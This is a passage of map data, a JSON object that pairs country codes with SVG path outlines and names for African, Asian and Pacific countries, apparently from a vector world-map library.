Faso"},"ne":{"path":"M460.89,302l2.55-0.06l2.3-3.45l3.86-0.69l4.11,2.51l8.77,0.25l6.78-2.76l2.55-2.19l0.19-2.88l4.73-4.77l1.25-10.53l-3.11-6.52l-7.96-1.94l-18.42,14.36l-2.61-0.25l-1.12,9.97l-9.4,0.94L460.89,302L460.89,302z","name":"Niger"},"gh":{"path":"M444.34,317.05l1.12,2.63l2.92,4.58l1.62-0.06l4.42-2.51l-0.31-14.29l-3.42-1l-4.79,0.13L444.34,317.05L444.34,317.05z","name":"Ghana"},"tg":{"path":"M455.22,321.25l2.68-1.57l-0.06-10.35l-1.74-2.82l-1.12,0.94L455.22,321.25L455.22,321.25z","name":"Togo"},"bj":{"path":"M458.71,319.49h2.12l0.12-6.02l2.68-3.89l-0.12-6.77l-2.43-0.06l-4.17,3.26l1.74,3.32L458.71,319.49L458.71,319.49z","name":"Benin"},"ng":{"path":"M461.57,319.37l3.92,0.19l4.73,5.27l2.3,0.63l1.8-0.88l2.74-0.38l0.93-3.82l3.73-2.45l4.04-0.19l7.4-13.61l-0.12-3.07l-3.42-2.63l-6.84,3.01l-9.15-0.13l-4.36-2.76l-3.11,0.69l-1.62,2.82l-0.12,7.96l-2.61,3.7L461.57,319.37L461.57,319.37z","name":"Nigeria"},"tn":{"path":"M474.91,227.33l5.53-2.23l1.82,1.18l0.07,1.44l-0.85,1.11l0.13,1.97l0.85,0.46v3.54l-0.98,1.64l0.13,1.05l3.71,1.31l-2.99,4.65l-1.17-0.07l-0.2,3.74l-1.3,0.2l-1.11-0.98l0.26-3.8l-3.64-3.54l-0.46-3.08l1.76-1.38L474.91,227.33L474.91,227.33z","name":"Tunisia"},"ly":{"path":"M480.05,248.03l1.56-0.26l0.46-3.6h0.78l3.19-5.24l7.87,2.29l2.15,3.34l7.74,3.54l4.03-1.7l-0.39-1.7l-1.76-1.7l0.2-1.18l2.86-2.42h5.66l2.15,2.88l4.55,0.66l0.59,36.89l-3.38-0.13l-20.42-10.62l-2.21,1.25l-8.39-2.1l-2.28-3.01l-3.32-0.46l-1.69-3.01L480.05,248.03L480.05,248.03z","name":"Libya"},"eg":{"path":"M521.93,243.06l2.67,0.07l5.2,1.44l2.47,0.07l3.06-2.56h1.43l2.6,1.44h3.29l0.59-0.04l2.08,5.98l0.59,1.93l0.55,2.89l-0.98,0.72l-1.69-0.85l-1.95-6.36l-1.76-0.13l-0.13,2.16l1.17,3.74l9.37,11.6l0.2,4.98l-2.73,3.15L522.32,273L521.93,243.06L521.93,243.06z","name":"Egypt"},"td":{"path":"M492.79,296l0.13-2.95l4.74-4.61l1.27-11.32l-3.16-6.04l2.21-1.13l21.4,11.15l-0.13,10.94l-3.77,3.21v5.64l2.47,4.78h-4.36l-7.22,7.14l-0.19,2.16l-5.33-0.07l-0.07,0.98l-3.04-0.4l-2.08-3.93l-1.56-0.77l0.2-1.2l1.96-1.5v-7.02l-2.71-0.42l-3.27-2.43L492.79,296L492.79,296L492.79,296z","name":"Chad"},"sd":{"path":"M520.15,292.43l0.18-11.83l2.46,0.07l-0.28-6.57l25.8,0.23l3.69-3.72l7.96,12.73l-4.36,5.14v7.85l-6.86,14.75l-2.36,1.04l0.75,4.11h2.94l3.99,5.79l-3.2,0.41l-0.82,1.49l-0.08,2.15l-9.6-0.17l-0.98-1.49l-6.71-0.38l-12.32-12.68l1.23-0.74l0.33-2.98l-2.95-1.74l-2.69-5.31l0.15-4.94L520.15,292.43L520.15,292.43z","name":"Sudan"},"cm":{"path":"M477.82,324.28l3.22,2.96l-0.23,4.58l17.66-0.41l1.44-1.62l-5.06-5.45l-0.75-1.97l3.22-6.03l-2.19-4l-1.84-0.99v-2.03l2.13-1.39l0.12-6.32l-1.69-0.19l-0.03,3.32l-7.42,13.85l-4.54,0.23l-3.11,2.14L477.82,324.28L477.82,324.28z","name":"Cameroon"},"er":{"path":"M556.71,294.7l-0.25-5.89l3.96-4.62l1.07,0.82l1.95,6.52l9.36,6.97l-1.7,2.09l-6.85-5.89H556.71L556.71,294.7z","name":"Eritrea"},"dj":{"path":"M571.48,301.54l-0.57,3.36l3.96-0.06l0.06-4.94l-1.45-0.89L571.48,301.54L571.48,301.54z","name":"Djibouti"},"et":{"path":"M549.49,311.76l7.28-16.2l7.23,0.04l6.41,5.57l-0.45,4.59h4.97l0.51,2.76l8.04,4.81l4.96,0.25l-9.43,10.13l-12.95,3.99h-3.21l-5.72-4.88l-2.26-0.95l-4.38-6.45l-2.89,0.04l-0.34-2.96L549.49,311.76L549.49,311.76z","name":"Ethiopia"},"so":{"path":"M575.74,305.04l4.08,2.78l1.21-0.06l10.13-3.48l1.15,3.71l-0.81,3.13l-2.19,1.74l-5.47-0.35l-7.83-4.81L575.74,305.04L575.74,305.04M591.97,304.05l4.37-1.68l1.55,0.93l-0.17,3.88l-4.03,11.48l-21.81,23.36l-2.53-1.74l-0.17-9.86l3.28-3.77l6.96-2.15l10.21-10.78l2.67-2.38l0.75-3.48L591.97,304.05L591.97,304.05z","name":"Somalia"},"ye":{"path":"M599.62,299.65l2.13,2.38l2.88-1.74l1.04-0.35l-1.32-1.28l-2.53,0.75L599.62,299.65L599.62,299.65M571.99,289.23l1.44,4.28v4.18l3.46,3.14l24.38-9.93l0.23-2.73l-3.91-7.02l-9.81,3.13l-5.63,5.54l-6.53-3.86L571.99,289.23L571.99,289.23z","name":"Yemen"},"cf":{"path":"M495.66,324.05l4.66,5.04l1.84-2.38l2.93,0.12l0.63-2.32l2.88-1.8l5.98,4.12l3.45-3.42l13.39,0.59L519,311.18l1.67-1.04l0.23-2.26l-2.82-1.33h-4.14l-6.67,6.61l-0.23,2.72l-5.29-0.17l-0.17,1.16l-3.45-0.35l-3.11,5.91L495.66,324.05L495.66,324.05z","name":"Central African Republic"},"st":{"path":"M470.74,337.15l1.15-0.58l0.86,0.7l-0.86,1.33l-1.04-0.41L470.74,337.15L470.74,337.15M473.05,333.5l1.73-0.29l0.58,1.1l-0.86,0.93l-0.86-0.12L473.05,333.5L473.05,333.5z","name":"Sao Tome and Principe"},"gq":{"path":"M476.84,327.41l-0.46,1.97l1.38,0.75l1.32-0.99l-0.46-2.03L476.84,327.41L476.84,327.41M480.99,332.69l-0.06,1.39l4.54,0.23l-0.06-1.57L480.99,332.69L480.99,332.69z","name":"Equatorial Guinea"},"ga":{"path":"M486.39,332.63l-0.12,2.49l-5.64-0.12l-3.45,6.67l8.11,8.87l2.01-1.68l-0.06-1.74l-1.38-0.64v-1.22l3.11-1.97l2.76,2.09l3.05,0.06l-0.06-10.49l-4.83-0.23l-0.06-2.2L486.39,332.63L486.39,332.63z","name":"Gabon"},"cg":{"path":"M491,332.52l-0.06,1.45l4.78,0.12l0.17,12.41l-4.37-0.12l-2.53-1.97l-1.96,1.1l-0.09,0.55l1.01,0.49l0.29,2.55l-2.7,2.32l0.58,1.22l2.99-2.32h1.44l0.46,1.39l1.9,0.81l6.1-5.16l-0.12-3.77l1.27-3.07l3.91-2.9l1.05-9.81l-2.78,0.01l-3.22,4.41L491,332.52L491,332.52z","name":"Congo"},"ao":{"path":"M486.55,353.23l1.74,2.26l2.25-2.13l-0.66-2.21l-0.56-0.04L486.55,353.23L486.55,353.23M488.62,356.71l3.41,12.73l-0.08,4.02l-4.99,5.36l-0.75,8.71l19.2,0.17l6.24,2.26l5.15-0.67l-3-3.76l0.01-10.74l5.9-0.25v-4.19l-4.79-0.2l-0.96-9.92l-2.02,0.03l-1.09-0.98l-1.19,0.06l-1.58,3.06H502l-1.41-1.42l0.42-2.01l-1.66-2.43L488.62,356.71L488.62,356.71z","name":"Angola"},"cd":{"path":"M489.38,355.71l10.31-0.18l2.09,2.97l-0.08,2.19l0.77,0.7h5.12l1.47-2.89h2.09l0.85,0.86l2.87-0.08l0.85,10.08l4.96,0.16v0.78l13.33,6.01l0.62,1.17h2.79l-0.31-4.22l-5.04-2.42l0.31-3.2l2.17-5.08l4.96-0.16l-4.26-14.14l0.08-6.01l6.74-10.54l0.08-1.48l-1.01-0.55l0.04-2.86l-1.23-0.11l-1.24-1.58l-20.35-0.92l-3.73,3.63l-6.11-4.02l-2.15,1.32l-1.56,13.13l-3.86,2.98l-1.16,2.64l0.21,3.91l-6.96,5.69l-1.85-0.84l0.25,1.09L489.38,355.71L489.38,355.71z","name":"Congo"},"rw":{"path":"M537.82,339.9l2.81,2.59l-0.12,2.77l-4.36,0.09v-3.06L537.82,339.9L537.82,339.9z","name":"Rwanda"},"bi":{"path":"M536.21,346.21l4.27-0.09l-1.11,3.74l-1.08,0.94h-1.32l-0.94-2.53L536.21,346.21L536.21,346.21z","name":"Burundi"},"ug":{"path":"M538.3,339.09l3.03,2.84l1.9-1.21l5.14-0.84l0.88,0.09l0.33-1.95l2.9-6.1l-2.44-5.08l-7.91,0.05l-0.05,2.09l1.06,1.02l-0.16,2.09L538.3,339.09L538.3,339.09z","name":"Uganda"},"ke":{"path":"M550.83,326.52l2.66,5.19l-3.19,6.69l-0.42,2.03l15.93,9.85l4.94-7.76l-2.5-2.03l-0.05-10.22l3.13-3.42l-4.99,1.66l-3.77,0.05l-5.9-4.98l-1.86-0.8l-3.45,0.32l-0.61,1.02L550.83,326.52L550.83,326.52z","name":"Kenya"},"tz":{"path":"M550.57,371.42l17.47-2.14l-3.93-7.6l-0.21-7.28l1.27-3.48l-16.62-10.44l-5.21,0.86l-1.81,1.34l-0.16,3.05l-1.17,4.23l-1.22,1.45l-1.75,0.16l3.35,11.61l5.47,2.57l3.77,0.11L550.57,371.42L550.57,371.42z","name":"Tanzania"},"zm":{"path":"M514.55,384.7l3.17,4.4l4.91,0.3l1.74,0.96l5.14,0.06l4.43-6.21l12.38-5.54l1.08-4.88l-1.44-6.99l-6.46-3.68l-4.31,0.3l-2.15,4.76l0.06,2.17l5.08,2.47l0.3,5.37l-4.37,0.24l-1.08-1.81l-12.14-5.18l-0.36,3.98l-5.74,0.18L514.55,384.7L514.55,384.7z","name":"Zambia"},"mw":{"path":"M547.16,379.4l3.11,3.25l-0.06,4.16l0.6,1.75l4.13-4.46l-0.48-5.67l-2.21-1.69l-1.97-9.95l-3.41-0.12l1.55,7.17L547.16,379.4L547.16,379.4z","name":"Malawi"},"mz":{"path":"M541.17,413.28l2.69,2.23l6.34-3.86l1.02-5.73v-9.46l10.17-8.32l1.74,0.06l6.16-5.91l-0.96-12.18L552,372.17l0.48,3.68l2.81,2.17l0.66,6.63l-5.5,5.37l-1.32-3.01l0.24-3.98l-3.17-3.44l-7.78,3.62l7.24,3.68l0.24,10.73l-4.79,7.11L541.17,413.28L541.17,413.28z","name":"Mozambique"},"zw":{"path":"M524.66,392.3l8.97,10.13l6.88,1.75l4.61-7.23l-0.36-9.58l-7.48-3.86l-2.81,1.27l-4.19,6.39l-5.8-0.06L524.66,392.3L524.66,392.3z","name":"Zimbabwe"},"na":{"path":"M496.55,421.96l3.35,0.24l1.97,1.99l4.67,0.06l1.14-13.26v-8.68l2.99-0.6l1.14-9.1l7.6-0.24l2.69-2.23l-4.55-0.18l-6.16,0.84l-6.64-2.41h-18.66l0.48,5.3l6.22,9.16l-1.08,4.7l0.06,2.47L496.55,421.96L496.55,421.96z","name":"Namibia"},"bw":{"path":"M508.51,411.23l2.15,0.66l-0.3,6.15l2.21,0.3l5.08-4.58l6.1,0.66l1.62-4.1l7.72-7.05l-9.27-10.67l-0.12-1.75l-1.02-0.3l-2.81,2.59l-7.3,0.18l-1.02,9.1l-2.87,0.66L508.51,411.23L508.51,411.23z","name":"Botswana"},"sz":{"path":"M540.87,414l-2.51,0.42l-1.08,2.95l1.92,1.75h2.33l1.97-2.83L540.87,414L540.87,414z","name":"Swaziland"},"ls":{"path":"M527.41,425.39l3.05-2.35l1.44,0.06l1.74,2.17l-0.18,2.17l-2.93,1.08v0.84l-3.23-0.18l-0.78-2.35L527.41,425.39L527.41,425.39z","name":"Lesotho"},"za":{"path":"M534.16,403.63l-7.9,7.3l-1.88,4.51l-6.26-0.78l-5.21,4.63l-3.46-0.34l0.28-6.4l-1.23-0.43l-0.86,13.09l-6.14-0.06l-1.85-2.18l-2.71-0.03l2.47,7.09l4.41,4.17l-3.15,3.67l2.04,4.6l4.72,1.8l3.76-3.2l10.77,0.06l0.77-0.96l4.78-0.84l16.17-16.1l-0.06-5.07l-1.73,2.24h-2.59l-3.15-2.64l1.6-3.98l2.75-0.56l-0.25-8.18L534.16,403.63L534.16,403.63z M530.37,422.13l1.51-0.06l2.45,2.66l-0.07,3.08l-2.87,1.45l-0.18,1.02l-4.38,0.05l-1.37-3.3l1.25-2.42L530.37,422.13L530.37,422.13z","name":"South Africa"},"gl":{"path":"M321.13,50.07l-1.36,2.17l2.45,2.45l-1.09,2.45l3.54,4.62l4.35-1.36l5.71-0.54l6.53,7.07l4.35,11.69l-3.53,7.34l4.89-0.82l2.72,1.63l0.27,3.54l-5.98,0.27l3.26,3.26l4.08,0.82l-8.97,11.96l-1.09,7.34l1.9,5.98l-1.36,3.54l2.45,7.61l4.62,5.17l1.36-0.27l2.99-0.82l0.27,4.35l1.9,2.72l3.53-0.27l2.72-10.06l8.16-10.06l12.24-4.89l7.61-9.52l3.53,1.63h7.34l5.98-5.98l7.34-2.99l0.82-4.62l-4.62-4.08l-4.08-1.36l-2.18-5.71l5.17-2.99l8.16,4.35l2.72-2.99l-4.35-2.45l9.25-12.51l-1.63-5.44l-4.35-0.27l1.63-4.89l5.44-2.45l11.15-9.79l-3.26-3.53l-12.51,1.09l-6.53,6.53l3.81-8.43l-4.35-1.09l-2.45,4.35l-3.53-2.99l-9.79,1.09l2.72-4.35l16.04-0.54l-4.08-5.44l-17.4-3.26l-7.07,1.09l0.27,3.54l-7.34-2.45l0.27-2.45l-5.17,1.09l-1.09,2.72l5.44,1.9l-5.71,4.08l-4.08-4.62l-5.71-1.63l-0.82,4.35h-5.71l-2.18-4.62l-8.97-1.36l-4.89,2.45l-0.27,3.26l-6.25-0.82l-3.81,1.63l0.27,3.81v1.9l-7.07,1.36l-3.26-2.17l-2.18,3.53l3.26,3.54l6.8-0.82l0.54,2.18l-5.17,2.45L321.13,50.07L321.13,50.07M342.89,92.49l1.63,2.45l-0.82,2.99h-1.63l-2.18-2.45l0.54-1.9L342.89,92.49L342.89,92.49M410.87,85.69l4.62,1.36l-0.27,3.81l-4.89-2.45l-1.09-1.36L410.87,85.69L410.87,85.69z","name":"Greenland"},"au":{"path":"M761.17,427.98l-0.35,25.38l-3.9,2.86l-0.35,2.5l5.32,3.57l13.13-2.5h6.74l2.48-3.58l14.9-2.86l10.64,3.22l-0.71,4.29l1.42,4.29l8.16-1.43l0.35,2.14l-5.32,3.93l1.77,1.43l3.9-1.43l-1.06,11.8l7.45,5.72l4.26-1.43l2.13,2.14l12.42-1.79l11.71-18.95l4.26-1.07l8.51-15.73l2.13-13.58l-5.32-6.79l2.13-1.43l-4.26-13.23l-4.61-3.22l0.71-17.87l-4.26-3.22l-1.06-10.01h-2.13l-7.1,23.59l-3.9,0.36l-8.87-8.94l4.97-13.23l-9.22-1.79l-10.29,2.86l-2.84,8.22l-4.61,1.07l-0.35-5.72l-18.8,11.44l0.35,4.29l-2.84,3.93h-7.1l-15.26,6.43L761.17,427.98L761.17,427.98M825.74,496.26l-1.77,7.15l0.35,5l5.32-0.36l6.03-9.29L825.74,496.26L825.74,496.26z","name":"Australia"},"nz":{"path":"M913.02,481.96l1.06,11.8l-1.42,5.36l-5.32,3.93l0.35,4.65v5l1.42,1.79l14.55-12.51v-2.86h-3.55l-4.97-16.8L913.02,481.96L913.02,481.96M902.38,507.7l2.84,5.36l-7.81,7.51l-0.71,3.93l-5.32,0.71l-8.87,8.22l-8.16-3.93l-0.71-2.86l14.9-6.43L902.38,507.7L902.38,507.7z","name":"New Zealand"},"nc":{"path":"M906.64,420.47l-0.35,1.79l4.61,6.43l2.48,1.07l0.35-2.5L906.64,420.47L906.64,420.47z","name":"New Caledonia"},"my":{"path":"M764.14,332.92l3.02,3.49l11.58-4.01l2.29-8.84l5.16-0.37l4.72-3.42l-6.12-4.46l-1.4-2.45l-3.02,5.57l1.11,3.2l-1.84,2.67l-3.47-0.89l-8.41,6.17l0.22,3.57L764.14,332.92L764.14,332.92M732.71,315.45l2.01,4.51l0.45,5.86l2.69,4.17l6.49,3.94l2.46,0.23l-0.45-4.06l-2.13-5.18l-3.12-6.63l-0.26,1.16l-3.76-0.17l-2.7-3.88L732.71,315.45L732.71,315.45z","name":"Malaysia"},"bn":{"path":"M779.77,319.25l-2.88,3.49l2.36,0.74l1.33-1.86L779.77,319.25L779.77,319.25z","name":"Brunei Darussalam"},"tl":{"path":"M806.14,368.42l-5.11,4.26l0.49,1.09l2.16-0.4l2.55-2.38l5.01-0.69l-0.98-1.68L806.14,368.42L806.14,368.42z","name":"Timor-Leste"},"sb":{"path":"M895.43,364.65l0.15,2.28l1.39,1.32l1.31-0.81l-1.17-2.43L895.43,364.65L895.43,364.65M897.18,370.31l-1.17,1.25l1.24,2.28l1.46,0.44l-0.07-1.54L897.18,370.31L897.18,370.31M900.03,368.99l1.02,2.5l1.97,2.35l1.09-1.76l-1.46-2.5L900.03,368.99L900.03,368.99M905.14,372.74l0.58,3.09l1.39,1.91l1.17-2.42L905.14,372.74L905.14,372.74M906.74,379.65l-0.51,0.88l1.68,2.21l1.17,0.07l-0.73-2.87L906.74,379.65L906.74,379.65M903.02,384.05l-1.75,0.81l1.53,2.13l1.31-0.74L903.02,384.05L903.02,384.05z","name":"Solomon Islands"},"vu":{"path":"M920.87,397.22l-1.24,1.66l0.52,1.87l0.62,0.42l1.13-1.46L920.87,397.22L920.87,397.22M921.49,402.31l0.1,1.35l1.34,0.42l0.93-0.52l-0.93-1.46L921.49,402.31L921.49,402.31M923.45,414.37l-0.62,0.94l0.93,1.04l1.55-0.52L923.45,414.37L923.45,414.37z","name":"Vanuatu"},"fj":{"path":"M948.62,412.29l-1.24,1.66l-0.1,1.87l1.44,1.46L948.62,412.29L948.62,412.29z","name":"Fiji"},"ph":{"path":"M789.37,297.53l-0.86,1.64l-0.48,2.02l-4.78,6.07l0.29,1.25l2.01-0.29l6.21-6.94L789.37,297.53L789.37,297.53M797.11,295.22l-0.1,5.01l1.82,1.83l0.67,3.56l1.82,0.39l0.86-2.22l-1.43-1.06l-0.38-6.26L797.11,295.22L797.11,295.22M802.28,297.15l-0.1,4.43l1.05,1.73l1.82-2.12l-0.48-3.85L802.28,297.15L802.28,297.15M803.42,293.29l1.82,2.41l0.86,2.31h1.63l-0.29-3.95l-1.82-1.25L803.42,293.29L803.42,293.29M806.96,302.35l0.38,2.89l-3.35,2.7l-2.77,0.29l-2.96,3.18l0.1,1.45l2.77-0.87l1.91-1.25l1.63,4.14l2.87,2.02l1.15-0.39l1.05-1.25l-2.29-2.31l1.34-1.06l1.53,1.25l1.05-1.73l-1.05-2.12l-0.19-4.72L806.96,302.35L806.96,302.35M791.38,272.97l-2.58,1.83l-0.29,5.78l4.02,7.8l1.34,1.06l1.72-1.16l2.96,0.48l0.57,2.6l2.2,0.19l1.05-1.44l-1.34-1.83l-1.63-1.54l-3.44-0.38l-1.82-2.99l2.1-3.18l0.19-2.79l-1.43-3.56L791.38,272.97L791.38,272.97M792.72,290.21l0.76,2.7l1.34,0.87l0.96-1.25l-1.53-2.12L792.72,290.21L792.72,290.21z","name":"Philippines"},"cn":{"path":"M759.83,270.17l-2.39,0.67l-1.72,2.12l1.43,2.79l2.1,0.19l2.39-2.12l0.57-2.79L759.83,270.17L759.83,270.17M670.4,170.07l-3.46,8.7l-4.77-0.25l-5.03,11.01l4.27,5.44l-8.8,12.15l-4.52-0.76l-3.02,3.8l0.75,2.28l3.52,0.25l1.76,4.05l3.52,0.76l10.81,13.93v7.09l5.28,3.29l5.78-1.01l7.29,4.3l8.8,2.53l4.27-0.51l4.78-0.51l10.05-6.58l3.27,0.51l1.25,2.97l2.77,0.83l3.77,5.57l-2.51,5.57l1.51,3.8l4.27,1.52l0.75,4.56l5.03,0.51l0.75-2.28l7.29-3.8l4.52,0.25l5.28,5.82l3.52-1.52l2.26,0.25l1.01,2.79l1.76,0.25l2.51-3.54l10.05-3.8l9.05-10.89l3.02-10.38l-0.25-6.84l-3.77-0.76l2.26-2.53l-0.5-4.05l-9.55-9.62v-4.81l2.76-3.54l2.76-1.27l0.25-2.79h-7.04l-1.26,3.8l-3.27-0.76l-4.02-4.3l2.51-6.58l3.52-3.8l3.27,0.25l-0.5,5.82l1.76,1.52l4.27-4.3l1.51-0.25l-0.5-3.29l4.02-4.81l3.02,0.25l1.76-5.57l2.06-1.09l0.21-3.47l-2-2.1l-0.17-5.48l3.85-0.25l-0.25-14.13l-2.7,1.62l-1.01,3.62l-4.51-0.01l-13.07-7.35l-9.44-11.38l-9.58-0.1l-2.44,2.12l3.1,7.1l-1.08,6.66l-3.86,1.6l-2.17-0.17l-0.16,6.59l2.26,0.51l4.02-1.77l5.28,2.53v2.53l-3.77,0.25l-3.02,6.58l-2.76,0.25l-9.8,12.91l-10.3,4.56l-7.04,0.51l-4.77-3.29l-6.79,3.55l-7.29-2.28l-1.76-4.81l-12.31-0.76l-6.53-10.63h-2.76l-2.22-4.93L670.4,170.07z","name":"China"},"tw":{"path":"M787.46,248.31l-3.54,2.7l-0.19,5.2l3.06,3.56l0.76-0.67L787.46,248.31L787.46,248.31z","name":"Taiwan"},"jp":{"path":"M803.23,216.42l-1.63,1.64l0.67,2.31l1.43,0.1l0.96,5.01l1.15,1.25l2.01-1.83l0.86-3.28l-2.49-3.56L803.23,216.42L803.23,216.42M812.03,213.15l-2.77,2.6l-0.1,2.99l0.67,0.87l3.73-3.18l-0.29-3.18L812.03,213.15L812.03,213.15M808.2,206.98l-4.88,5.59l0.86,1.35l2.39,0.29l4.49-3.47l3.16-0.58l2.87,3.37l2.2-0.77l0.86-3.28l4.11-0.1l4.02-4.82l-2.1-8l-0.96-4.24l2.1-1.73l-4.78-7.22l-1.24,0.1l-2.58,2.89v2.41l1.15,1.35l0.38,6.36l-2.96,3.66l-1.72-1.06l-1.34,2.99l-0.29,2.79l1.05,1.64l-0.67,1.25l-2.2-1.83h-1.53l-1.34,0.77L808.2,206.98L808.2,206.98M816.43,163.44l-1.53,1.35l0.77,2.89l1.34,1.35l-0.1,4.43l-1.72,0.67l-1.34,2.99l3.92,5.39l2.58-0.87l0.48-1.35l-2.77-2.5l1.72-2.22l1.82,0.29l1.43,1.54l0.1-3.18l3.92-3.18l2.2-0.58l-1.82-3.08l-0.86-1.35l-1.43,0.96l-1.24,1.54l-2.68-0.58l-2.77-1.83L816.43,163.44L816.43,163.44z","name":"Japan"},"ru":{"path":"M506.61,151.72l-1.5-0.15l-2.7,3.23v1.51l0.9,0.35l1.75,0.05l2.9-2.37l0.4-0.81L506.61,151.72L506.61,151.72M830.86,160.45l-2.68,3.76l0.19,1.83l1.34-0.58l3.15-3.95L830.86,160.45L830.86,160.45M834.4,154.96l-0.96,2.6l0.1,1.73l1.63-1.06l1.53-3.08V154L834.4,154.96L834.4,154.96M840.04,132.03l-1.24,1.54l0.1,2.41l1.15-0.1l1.91-3.37L840.04,132.03L840.04,132.03M837.75,137.91v4.24l1.34,0.48l0.96-1.54v-3.27L837.75,137.91L837.75,137.91M798.64,122.59l-0.09,6.17l7.74,11.95l2.77,10.4l4.88,9.25l1.91,0.67l1.63-1.35l0.76-2.22l-6.98-7.61l0.19-3.95l1.53-0.67l0.38-2.31l-13.67-19.36L798.64,122.59L798.64,122.59M852.57,103.42l-1.91,0.19l1.15,1.64l2.39,1.64l0.67-0.77L852.57,103.42L852.57,103.42M856.29,104.58l0.29,1.64l2.96,0.87l0.29-1.16L856.29,104.58L856.29,104.58M547.82,38.79l1.72,0.69l-1.21,2.08v2.95l-2.58,1.56H543l-1.55-1.91l0.17-2.08l1.21-1.56h2.41L547.82,38.79L547.82,38.79M554.36,36.88v2.08l1.72,1.39l2.41-0.17l2.07-1.91v-1.39h-1.89l-1.55,0.52l-1.21-1.39L554.36,36.88L554.36,36.88M564.18,37.06l1.21,2.6l2.41,0.17l1.72-0.69l-0.86-2.43l-2.24-0.52L564.18,37.06L564.18,37.06M573.99,33.59l-1.89-0.35l-1.72,1.74l0.86,1.56l0.52,2.43l2.24-1.73l0.52-1.91L573.99,33.59L573.99,33.59M584.49,51.98l-0.52,2.43l-3.96,3.47l-8.44,1.91l-6.89,11.45l-1.21,3.3l6.89,1.74l1.03-4.16l2.07-6.42l5.34-2.78l4.48-3.47l3.27-1.39h1.72v-4.68L584.49,51.98L584.49,51.98M562.28,77.31l4.65,0.52l1.55,5.38l3.96,4.16l-1.38,2.78h-2.41l-2.24-2.6l-4.99-0.17l-2.07-2.78v-1.91l3.1-0.87L562.28,77.31L562.28,77.31M634.95,18.15l-2.24-1.39h-2.58l-0.52,1.56l-2.75,1.56l-2.07,0.69l-0.34,2.08l4.82,0.35L634.95,18.15L634.95,18.15M640.28,18.67l-1.21,2.6l-2.41-0.17l-3.79,2.78l-1.03,3.47h2.41l1.38-2.26l3.27,2.43l3.1-1.39l2.24-1.91l-0.86-2.95l-1.21-2.08L640.28,18.67L640.28,18.67M645.28,20.58l1.21,4.86l1.89,4.51l2.07-3.64l3.96-0.87v-2.6l-2.58-1.91L645.28,20.58L645.28,20.58M739.76,12.8l2.69,2.26l1.91-0.79l0.56-3.17L741,8.39l-2.58,1.7l-6.28,0.57v2.83l-6.62,0.11v4.63l7.74,5.76l2.02-1.47l-0.45-4.07l4.94-1.24l-1.01-1.92l-1.79-1.81L739.76,12.8L739.76,12.8M746.94,10.09l1.79,3.39l6.96-0.79l1.91-2.49l-0.45-2.15l-1.91-0.79l-1.79,1.36l-5.16,1.13L746.94,10.09L746.94,10.09M746.49,23.31l-3.48-0.9L741,24.56l-0.9,2.94l4.71-0.45l3.59-1.81L746.49,23.31L746.49,23.31M836.68,3.76l-2.92-0.9L830.4,4.1l-1.68,2.49l2.13,2.83l5.61-2.49l1.12-1.24L836.68,3.76L836.68,3.76M817.97,72.93l1.76,6.08l3.52,1.01l3.52-5.57l-2.01-3.8l0.75-3.29h5.28l-1.26,2.53l0.5,9.12l-7.54,18.74l0.75,4.05l-0.25,6.84l14.07,20.51l2.76,0.76l0.25-16.71l2.76-2.53l-3.02-6.58l2.51-2.79l-5.53-7.34l-3.02,0.25l-1-12.15l7.79-2.03l0.5-3.55l4.02-1.01l2.26,2.03l2.76-11.14l4.77-8.1l3.77-2.03l3.27,0.25v-3.8l-5.28-1.01l-7.29-6.08l3.52-4.05l-3.02-6.84l2.51-2.53l3.02,4.05l7.54,2.79l8.29,0.76l1.01-3.54l-4.27-4.3l4.77-6.58l-10.81-3.8l-2.76,5.57l-3.52-4.56l-19.85-6.84l-18.85,3.29l-2.76,1.52v1.52l4.02,2.03l-0.5,4.81l-7.29-3.04l-16.08,6.33l-2.76-5.82h-11.06l-5.03,5.32l-17.84-4.05l-16.33,3.29l-2.01,5.06l2.51,0.76l-0.25,3.8l-15.83,1.77l1.01,5.06l-14.58-2.53l3.52-6.58l-14.83-0.76l1.26,6.84l-4.77,2.28l-4.02-3.8l-16.33,2.79l-6.28,5.82l-0.25,3.54l-4.02,0.25l-0.5-4.05l12.82-11.14v-7.6l-8.29-2.28l-10.81,3.54l-4.52-4.56h-2.01l-2.51,5.06l2.01,2.28l-14.33,7.85l-12.31,9.37l-7.54,10.38v4.3l8.04,3.29l-4.02,3.04l-8.54-3.04l-3.52,3.04l-5.28-6.08l-1.01,2.28l5.78,18.23l1.51,0.51l4.02-2.03l2.01,1.52v3.29l-3.77-1.52l-2.26,1.77l1.51,3.29l-1.26,8.61l-7.79,0.76l-0.5-2.79l4.52-2.79l1.01-7.6l-5.03-6.58l-1.76-11.39l-8.04-1.27l-0.75,4.05l1.51,2.03l-3.27,2.79l1.26,7.6l4.77,2.03l1.01,5.57l-4.78-3.04l-12.31-2.28l-1.51,4.05l-9.8,3.54l-1.51-2.53l-12.82,7.09l-0.25,4.81l-5.03,0.76l1.51-3.54v-3.54l-5.03-1.77l-3.27,1.27l2.76,5.32l2.01,3.54v2.79l-3.77-0.76l-0.75-0.76l-3.77,4.05l2.01,3.54l-8.54-0.25l2.76,3.55l-0.75,1.52h-4.52l-3.27-2.28l-0.75-6.33l-5.28-2.03v-2.53l11.06,2.28l6.03,0.51l2.51-3.8l-2.26-4.05l-16.08-6.33l-5.55,1.38l-1.9,1.63l0.59,3.75l2.36,0.41l-0.55,5.9l7.28,17.1l-5.26,8.34l-0.36,1.88l2.67,1.88l-2.41,1.59l-1.6,0.03l0.3,7.35l2.21,3.13l0.03,3.04l2.83,0.26l4.33,1.65l4.58,6.3l0.05,1.66l-1.49,2.55l3.42-0.19l3.33,0.96l4.5,6.37l11.08,1.01l-0.48,7.58l-3.82,3.27l0.79,1.28l-3.77,4.05l-1,3.8l2.26,3.29l7.29,2.53l3.02-1.77l19.35,7.34l0.75-2.03l-4.02-3.8v-4.81l-2.51-0.76l0.5-4.05l4.02-4.81l-7.21-5.4l0.5-7.51l7.71-5.07l9.05,0.51l1.51,2.79l9.3,0.51l6.79-3.8l-3.52-3.8l0.75-7.09l17.59-8.61l13.53,6.1l4.52-4.05l13.32,12.66l10.05-1.01l3.52,3.54l9.55,1.01l6.28-8.61l8.04,3.55l4.27,0.76l4.27-3.8l-3.77-2.53l3.27-5.06l9.3,3.04l2.01,4.05l4.02,0.25l2.51-1.77l6.79-0.25l0.75,1.77l7.79,0.51l5.28-5.57l10.81,1.27l3.27-1.27l1-6.08l-3.27-7.34l3.27-2.79h10.3l9.8,11.65l12.56,7.09h3.77l0.5-3.04l4.52-2.79l0.5,16.46l-4.02,0.25v4.05l2.26,2.79l-0.42,3.62l1.67,0.